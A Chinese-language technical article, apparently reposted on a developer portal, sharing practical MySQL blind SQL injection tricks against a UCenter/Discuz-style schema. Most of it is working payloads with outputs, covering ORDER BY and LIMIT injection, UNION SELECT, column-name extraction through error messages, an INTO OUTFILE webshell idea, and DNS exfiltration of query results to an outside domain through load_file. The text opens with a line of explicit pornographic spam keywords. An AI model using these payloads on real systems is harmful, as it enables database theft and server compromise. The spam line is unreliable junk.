偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

MySQL數(shù)據(jù)庫中另類盲注的一些技巧

數(shù)據(jù)庫 MySQL
我們大家主要描述的是MySQL數(shù)據(jù)庫中的另類盲注中的一些實用性比較好用的技巧,下面就是文章的具體內(nèi)容的描述。

以下的文章主要介紹的是MySQL數(shù)據(jù)庫中的另類盲注中的一些實用性比較好用的技巧,我前幾天在相關(guān)網(wǎng)站看見MySQL數(shù)據(jù)庫中的另類盲注中的一些實用性比較好用的技巧的資料,覺得挺好,就拿出來供大家分享。

 

很多技巧從國外的paper學(xué)到的,不過國內(nèi)沒有多少人使用

 

一、order by 的參數(shù)注入技巧:

兩種方法,思路都一樣。

  1. example. “select username,password from uc_members order by”.$_GET['oderby'] 

a.常見的利用方法:

1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));

 

返回錯誤:[Err] 1242 – Subquery returns more than 1 row

 

2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));

 

返回正常。

 

b.國外paper看到的方法:

1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;

 

返回錯誤:[Err] 1242 – Subquery returns more than 1 row

 

2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;

 

返回正常。

 

二、limit 的參數(shù)注入技巧:

a.order by之后的limit參數(shù) 的注入,因為正常的sql語句order by后無法接union,所以沒有好辦法,就一個雞肋思路:

  1. into outfile ‘/www/root/xxx.php’; 

b.limit前無order by時的注入,那就方便多了,后面可以直接接union select ,隨便怎么注都行了:

select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7

 

這里還有個技巧,使用procedure analyse可以獲取字段名稱:

 

select * from cdb_members where uid=1 limit 1,1 procedure analyse()

 

不過procedure analyse同樣不能使用在order by之后:

 

[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()

 

[Err] 1386 – Can’t use ORDER clause with this procedure

 

三、無法猜測字段時的技巧:

在MySQL數(shù)據(jù)庫以下版本或者information_schema 無法訪問的時候,無法猜到某個表的字段名,于是可以采用這個辦法,在子查詢中使用%0,報錯獲得列名。以ucenter的uc_members為例。

1.猜測列數(shù):SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)

返回錯誤:#1241 – Operand should contain 12 column(s)

 

2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)

 

返回正常。

 

3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)

 

返回錯誤:#1048 – Column ‘uid’ cannot be null

 

4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)

 

返回錯誤:#1048 – Column ‘username’ cannot be null

 

5. ……

 

注:5.1以上版本不適用,字段必須為非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者頁面無論and 1=1還是and 1=2的時候返回都一模一樣,這個時候利用dns進(jìn)行注入是個不錯的方法,前提是win環(huán)境root權(quán)限下的MySQL數(shù)據(jù)庫,利用load_file函數(shù)讀取 遠(yuǎn)程文件的思路。本地搭建一個dns服務(wù)器,然后將特定域名的NS server轉(zhuǎn)過來。然后進(jìn)行注入,并抓包。

本地測試了下(實際注入中單引號可以編碼):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功獲得select的結(jié)果:

29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

 

 【編輯推薦】

  1. MySQL 4.1 數(shù)據(jù)轉(zhuǎn)換的指導(dǎo)
  2. 讓MySQL支持中文的實際操作步驟
  3. 配置MySQL與卸載MySQL實操
  4. MySQL 修改密碼的6個好用方案
  5. MySQL數(shù)據(jù)庫訪問妙招在Linux之下
責(zé)任編輯:佚名 來源: 博客園
相關(guān)推薦

2020-08-07 08:04:03

數(shù)據(jù)庫MySQL技術(shù)

2014-04-04 13:48:04

2021-09-15 09:51:36

數(shù)據(jù)庫架構(gòu)技術(shù)

2011-07-29 15:58:53

SGAOracle

2011-03-21 13:41:20

數(shù)據(jù)庫開發(fā)規(guī)范

2011-03-10 13:19:47

Oracle數(shù)據(jù)庫

2018-06-21 14:50:00

2013-03-29 13:17:53

XCode調(diào)試技巧iOS開發(fā)

2012-05-21 10:13:05

XCode調(diào)試技巧

2011-06-01 16:50:21

JAVA

2010-08-27 14:48:22

DB2like

2011-07-22 09:09:52

Oracle數(shù)據(jù)庫SQL效率

2016-09-12 17:19:51

JavaScriptArray操作技巧

2011-08-03 17:43:53

MySQL數(shù)據(jù)庫外鍵約束

2010-05-12 15:41:21

MySQL數(shù)據(jù)庫

2018-07-27 18:20:31

數(shù)據(jù)庫MySQL 數(shù)據(jù)庫建表

2011-08-01 13:59:22

Oracle數(shù)據(jù)庫命名空間

2011-05-23 18:06:24

站內(nèi)優(yōu)化SEO

2021-10-12 23:10:58

UnsafeJavaJDK

2011-07-12 09:47:53

WebService
點贊
收藏

51CTO技術(shù)棧公眾號